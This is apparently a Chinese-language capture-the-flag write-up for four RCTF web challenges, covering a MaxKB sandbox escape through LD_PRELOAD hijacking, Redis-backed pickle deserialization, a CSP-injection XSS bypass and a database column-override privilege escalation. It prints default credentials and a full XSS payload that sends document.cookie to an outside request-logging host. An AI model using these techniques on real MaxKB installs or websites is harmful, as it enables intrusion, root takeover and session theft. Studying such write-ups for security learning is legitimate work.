RCTF
RCTF
web
rootkb
Try to root my MaxKB.
1
2 >FROM 1panel/maxkb:v2.3.1
>COPY flag /root/flagCredential is default: admin / MaxKB@123..
给了一个github的开源项目MaxKB,版本是2.3.1,把源代码下下来部署看看
发现可以在工具里面进行python代码执行,但是有沙箱,看源文件里面的dockerfile文件和tool_code.py文件

gcc -shared -fPIC -o ${MAXKB_SANDBOX_HOME}/sandbox.so /opt/maxkb-app/installer/sandbox.c
1 | kwargs['env'] = { |
是通过sandbox.so进行沙箱限制的,然后还用了LD_PRELOAD进行加载
然后测试发现利用python命令执行居然可以直接对sandbox.so进行操作
1 | def runcmd(): |

接下来就可以替换sandbox.so文件,进行LD_PRELOAD劫持反弹shell了vim 1.py
1 | with open("./ls.so","rb") as f: |
vim ls.c
1 | #include <stdlib.h> |
gcc -shared -fPIC -o ls.so ls.cpython 1.py
得到ls.so文件的字节内容
然后在工具里面写入替换sandbox.so
1 | def runcmd(): |
即可成功劫持LD_PRELOAD
然后由于沙箱已经奔替换,这里的python代码已经可以执行任意命令
所以我们直接调用ls触发反弹shell的payload即可
1 | import os |
成功反弹shell,而且是root权限,读取flag即可

RCTF{trust_no_tool___dont_be_a_root_fool}
rootkb–
version–, CVE++++, is it easier now?
1
2 >FROM 1panel/maxkb:v2.3.0
>COPY flag /root/flagHINT: The intended exploit should work on both RootKB(v2.3.1) and RootKB–(v2.3.0). Of course, you don’t have to follow my intended.
还是可以在工具里面进行python代码执行,
可以socket连接redis,密码是conf.py中默认的Password123@redis
回显键名,重点为TOKEN::TOKEN:eyJ1c2VybmFtZSI6ImFkbWluIiwiaWQiOiJmMGRkOGY3MS1lNGVlLTExZWUtOGM4NC1hOGExNTk1ODAxYWIiLCJlbWFpbCI6IiIsInR5cGUiOiJTWVNURU1fVVNFUiJ9:1vM0hw:RdJ3OQiKIK9rm9wjwGcykbxEV5s3UU9CLoZXrTnJC0o
1 | import socket |

后面每替换一次键值都会新生成一个键

读取键值
1 | import redis |
回显如下b'\x80\x04\x95\x15\x02\x00\x00\x00\x00\x00\x00\x8c\x15django.db.models.base\x94\x8c\x0emodel_unpickle\x94\x93\x94\x8c\x05users\x94\x8c\x04User\x94\x86\x94\x85\x94R\x94}\x94(\x8c\x06_state\x94h\x00\x8c\nModelState\x94\x93\x94)\x81\x94}\x94(\x8c\x06adding\x94\x89\x8c\x02db\x94\x8c\x07default\x94\x8c\x0cfields_cache\x94}\x94ub\x8c\x02id\x94\x8c\x04uuid\x94\x8c\x04UUID\x94\x93\x94)\x81\x94}\x94\x8c\x03int\x94\x8a\x11\xab\x01XY\xa1\xa8\x84\x8c\xee\x11\xee\xe4q\x8f\xdd\xf0\x00sb\x8c\x05email\x94\x8c\x00\x94\x8c\x05phone\x94h\x1b\x8c\tnick_name\x94\x8c\x0f\xe7\xb3\xbb\xe7\xbb\x9f\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\x94\x8c\x08username\x94\x8c\x05admin\x94\x8c\x08password\x94\x8c d880e722c47a34d8e9fce789fc62389d\x94\x8c\x04role\x94\x8c\x05ADMIN\x94\x8c\x06source\x94\x8c\x05LOCAL\x94\x8c\tis_active\x94\x88\x8c\x08language\x94N\x8c\x0bcreate_time\x94\x8c\x08datetime\x94\x8c\x08datetime\x94\x93\x94C\n\x07\xe9\x0b\x14\x08:\x12\t\x85a\x94h*\x8c\x08timezone\x94\x93\x94h*\x8c\ttimedelta\x94\x93\x94K\x00K\x00K\x00\x87\x94R\x94\x85\x94R\x94\x86\x94R\x94\x8c\x0bupdate_time\x94h,C\n\x07\xe9\x0b\x14\x08:\x12\t\x85n\x94h5\x86\x94R\x94\x8c\x0f_django_version\x94\x8c\x055.2.7\x94ub.'
为pickle 序列化数据
查看Celery配置
发现其任务和结果的序列化器都配置为pickle
可以打pickle反序列化
构造恶意pickle → 写入Redis → Celery Worker读取 → pickle.loads()无限制反序列化 → 任意代码执行
生成payload
1 | import pickle |
写代码设置键值
1 | import redis |
然后再随便访问一下触发pickle反序列化
然后即可读取flag
1 | def exp(): |

author
A blog packed with all kinds of WAFs and security protections — but is it really secure?
Notice:
The online environment will be reset at 00 and 30 minutes of every hour, including the database.In the online environment’s bot container, the bot will access the blog via http://blog-app
很明显我们需要理由XSS获取bot的cookies以拿到flag,但是xss-shield.js过滤很严格
大体过滤如下
- 环境检测:首先,代码检测全局对象
window、global或this,以确保在浏览器或Node.js环境中运行。- 阻塞函数:定义了一个
blocked函数,当被阻塞的API被调用时,会输出”blocked!”。- 重写fetch:尝试重写
window.fetch,使其在第一次调用后禁止再次调用。第一次调用后,fetchAllowed变为false,后续调用会触发blocked。- 重写innerHTML:对
Element.prototype.innerHTML进行重写,设置一个getter返回空字符串,setter在第一次设置后禁止再次设置,并且在设置时使用DOMPurify对输入进行两次净化(注意:这里假设DOMPurify已定义,但代码中并未引入,可能会出错)。- 阻塞常用全局函数:如
alert、confirm、prompt、eval、Function、定时器、动画帧、Web Workers等。- 阻塞网络相关API:如
XMLHttpRequest、WebSocket、EventSource、WebRTC等。- 阻塞DOM操作:包括
document.write、document.writeln、Document和Node原型上的多种方法(如appendChild、insertBefore等)。- 阻塞事件处理:通过重写所有以
on开头的事件处理器(如onclick)的setter和getter,使其无法设置并返回null。- 阻塞存储和Cookie:重写
localStorage、sessionStorage、indexedDB和document.cookie,使其无法使用。- 阻塞导航和历史记录:重写
location的replace、assign、reload方法和history的pushState、replaceState。- 阻塞敏感设备API:如剪贴板、地理定位、凭证管理、电池状态、媒体设备、蓝牙、USB等。
- 阻塞支付请求:
PaymentRequest。- 阻塞DOM解析和序列化:如
DOMParser、XMLSerializer等。- 阻塞Shadow DOM:重写
attachShadow和shadowRoot。- 阻塞iframe相关属性:如
srcdoc、contentWindow、contentDocument。- 阻塞样式表操作:重写
CSSStyleSheet原型上的方法。- 阻塞表单和锚点元素的行为:如表单提交、锚点点击。
- 阻塞脚本和对象元素的属性:如
script的src和text,object的data等。- 阻塞自定义元素:重写
customElements的API。- 阻塞对象原型操作:重写
Object.defineProperty、Object.setPrototypeOf、Object.create等,以及Proxy和Reflect。- 冻结内置原型:尝试冻结
Object.prototype、Function.prototype和Array.prototype以防止修改。
直接绕肯定不现实,注意到没有对CSP进行限制,如果我们可以控制写入CSP到页面中,利用形如下面的payload,我们即可指定脚本只能从指定的域名加载<meta http-equiv="Content-Security-Policy" content="script-src https://www.google.com https://www.gstatic.com">
假如我们能构造如下payload,写入到页面中,使其不加载xss-shield.js只加载其他的js文件,即可达成绕过<meta http-equiv="Content-Security-Policy" content="script-src <http://blog-app/assets/js/article.js>">
然后就是找地方写入这个payload,在header.php中有这样一段<meta name="author" content=<?php echo $pageAuthor; ?>>
加上article.php中的下面这一段$pageAuthor = htmlspecialchars($article['username']);
htmlspecialchars() 默认不编码单引号
我们可以利用注册时的username写入payload'script-src-elem <http://blog-app/assets/js/article.js>' http-equiv='Content-Security-Policy'
在CSP Level 3中,指令有明确的优先级:
1
2
3
4
5 >script-src-attr (最高优先级,针对事件处理器)
↓
>script-src-elem (针对脚本元素)
↓
>script-src (通用后备,最低优先级)
然后⽤该账号登录发布的 article 不会有任何限制。使⽤ img onerror 外带:<img src=x onerror="new Image().src='http://requestbin.cn:80/1kauuvv1?d='+encodeURIComponent(document.cookie);">
获得flag
photographer
Wells, who loves photography, built a photography website.
But it seems only the superadmin can get the flag.
I thought the highest permission was admin—so where does this superadmin come from?
Notice:
The online environment will be reset at 00 and 30 minutes of every hour, including the database.
首先分析代码,superadmin.php可以直接获取flag,但是需要满足Auth::type() < $user_types['admin']
1 | if (Auth::check() && Auth::type() < $user_types['admin']) { |
查找user_types,发现如下定义
1 | 'user_types' => [ |
可见admin的type为0,所以需要想要Auth::type()<0
接下来追踪Auth::type()的实现,发现如下代码
1 | public static function init() { |
可见Auth::type()返回的是self::$user的type,而self::$user由User::findById获取,继续追踪User::findById()
1 | public static function findById($userId) { |
可见User::findById()返回的是数据库中的用户信息,这里leftJoin将用户表与图片表连接,查询leftJoin定义
LEFT JOIN 关键字从左表(table1)返回所有的行,即使右表(table2)中没有匹配。如果右表中没有匹配,则结果为 NULL。
由此可见在构建返回的用户信息时,如果背景图片id为某一个图片id,则先读取的用户表,后读取的图片表
这里就有一个问题,如果存在同名列,后读取的图片表会覆盖先写入的用户表的对应列

而打开.db文件发现图片表和用户表中都有type列,所以我们可以利用图片表的type覆盖用户表的type为负值,从而实现绕过检查
进一步查找图片表的type是如何获取,在PhotoController.php中找到
1 | public function upload() { |
直接把 $_FILES['type'] 原样存进数据库,而 $_FILES['type'] 由请求中的 multipart/form-data 文件分段头的 Content-Type 决定,完全可控制
所以我们上传一个Content-Type为-1的图片,再将其设置为背景图片,即可绕过检查访问superadmin.php中的flag
上传包如下
1 | POST /api/photos/upload HTTP/1.1 |

注意由于上传图片会被检测是否为图片,所以我们上传的图片内容必须是正常图片的内容,否则会上传失败
然后设置为背景图片
即可访问superadmin.php获取flag
